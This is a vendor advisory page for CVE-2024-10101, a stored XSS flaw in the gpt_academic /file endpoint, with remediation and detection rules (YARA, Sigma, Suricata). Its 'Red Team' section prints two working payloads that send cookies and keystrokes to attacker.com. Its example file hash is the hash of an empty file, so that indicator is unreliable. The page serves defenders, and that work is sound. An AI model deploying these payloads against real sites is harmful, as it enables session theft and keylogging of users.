CVE-2024-10101
Executive Summary
CVE-2024-10101 is a stored cross-site scripting (XSS) vulnerability in binary-husky/gpt_academic version 3.83. The flaw resides in the /file endpoint, which renders uploaded HTML files without proper sanitization. An authenticated attacker can upload a malicious HTML file containing XSS payloads. When a victim accesses the file, the payload executes in their browser, potentially leading to session cookie theft or other sensitive data exfiltration. The CVSS score is 5.4 (Medium), with a public proof-of-concept available. No official patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package gpt_academic (PyPI). Users should verify the integrity of their installation and monitor for updates. The lack of a patch increases supply chain risk, as malicious actors could exploit this in unpatched deployments.
CVSS Breakdown & Threat Level
- CVSS Score: 5.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must access the malicious file)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low (session cookies)
- Integrity Impact: Low (malicious content rendered)
- Availability Impact: None
Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can be significant if session cookies are stolen.
Deep Dive & Mechanics
The vulnerability exists in the /file endpoint of gpt_academic. This endpoint is designed to serve uploaded files, including HTML files. The application does not sanitize or escape the content of HTML files before rendering them in the browser. An attacker can upload a crafted HTML file containing JavaScript payloads (e.g., <script>alert(document.cookie)</script>). When a victim accesses the file via the /file endpoint, the browser executes the script in the context of the application's origin, allowing the attacker to steal session cookies or perform other malicious actions.
The root cause is the lack of Content-Type validation and output encoding. The application should either serve HTML files with a Content-Disposition: attachment header to force download, or sanitize the HTML content to remove executable scripts.
Vulnerable vs. Patched Code
Vulnerable Code (version 3.83):
The /file endpoint likely uses a simple file read and serve mechanism without sanitization. Example (pseudo-code):
@app.route('/file/<filename>')
def serve_file(filename):
filepath = os.path.join(UPLOAD_FOLDER, filename)
with open(filepath, 'r') as f:
content = f.read()
return content, 200, {'Content-Type': 'text/html'}
Patched Code (hypothetical): A patch would either force download or sanitize the HTML:
@app.route('/file/<filename>')
def serve_file(filename):
filepath = os.path.join(UPLOAD_FOLDER, filename)
# Option 1: Force download
return send_file(filepath, as_attachment=True)
# Option 2: Sanitize HTML (using bleach or similar)
# from bleach import clean
# with open(filepath, 'r') as f:
# content = f.read()
# sanitized = clean(content, tags=[], attributes={})
# return sanitized, 200, {'Content-Type': 'text/html'}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to a gpt_academic instance (version 3.83) with an authenticated account.
- Ability to upload files.
Exploit Steps:
- Create a malicious HTML file (e.g.,
xss.html) with the following content:
<html>
<body>
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
</body>
</html>
- Upload the file via the application's file upload functionality.
- Obtain the URL to the uploaded file (e.g.,
http://victim.com/file/xss.html). - Send the URL to a victim (e.g., via social engineering or phishing).
- When the victim accesses the URL, the script executes and sends their session cookie to the attacker's server.
Alternative Payload (keylogger):
<html>
<body>
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attacker.com/log", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("key=" + e.key);
};
</script>
</body>
</html>
Blue Team (Defender)
Detection Steps:
- Monitor file uploads for HTML files containing
<script>tags or event handlers. - Review access logs for the
/fileendpoint to identify unusual patterns. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Use web application firewalls (WAF) to block malicious payloads.
Lab Setup:
- Deploy a vulnerable instance of gpt_academic 3.83 in a sandboxed environment.
- Use a tool like Burp Suite or OWASP ZAP to intercept and analyze traffic.
- Simulate the attack by uploading a test payload and verifying execution.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example for a malicious HTML file)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...). - Unusual
Refererheaders pointing to the/fileendpoint.
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Log Entries:
- Access logs showing
GET /file/<malicious_filename>.htmlwith a200response. - Upload logs showing HTML files with suspicious content.
- Access logs showing
Detection Engineering
YARA Rule
rule CVE_2024_10101_XSS_HTML {
meta:
description = "Detects malicious HTML files used in CVE-2024-10101"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-10101"
strings:
$script = /<script[\s>]/ nocase
$onerror = /onerror\s*=/ nocase
$onload = /onload\s*=/ nocase
$cookie = /document\.cookie/ nocase
condition:
any of ($script, $onerror, $onload) and $cookie
}
Sigma Rule
title: CVE-2024-10101 Stored XSS via HTML File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to uploaded HTML files that may contain XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/file/'
cs-uri-extension: '.html'
condition: selection
falsepositives:
- Legitimate HTML file uploads
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10101 Stored XSS via HTML File Upload"; flow:to_server,established; content:"GET"; http_method; content:"/file/"; http_uri; content:".html"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable HTML file rendering: Configure the
/fileendpoint to serve all files withContent-Disposition: attachmentheader, forcing download instead of rendering. - Input validation: Block uploads of
.htmlfiles or sanitize their content using a library likebleach. - Implement CSP: Add a Content Security Policy header that restricts script execution (e.g.,
script-src 'self').
Long-term Fix:
- Upgrade to a patched version once available.
- Conduct a security audit of the file upload and serving functionality.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block access to
.htmlfiles in the upload directory:
location /file/ {
if ($uri ~* \.html$) {
return 403;
}
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.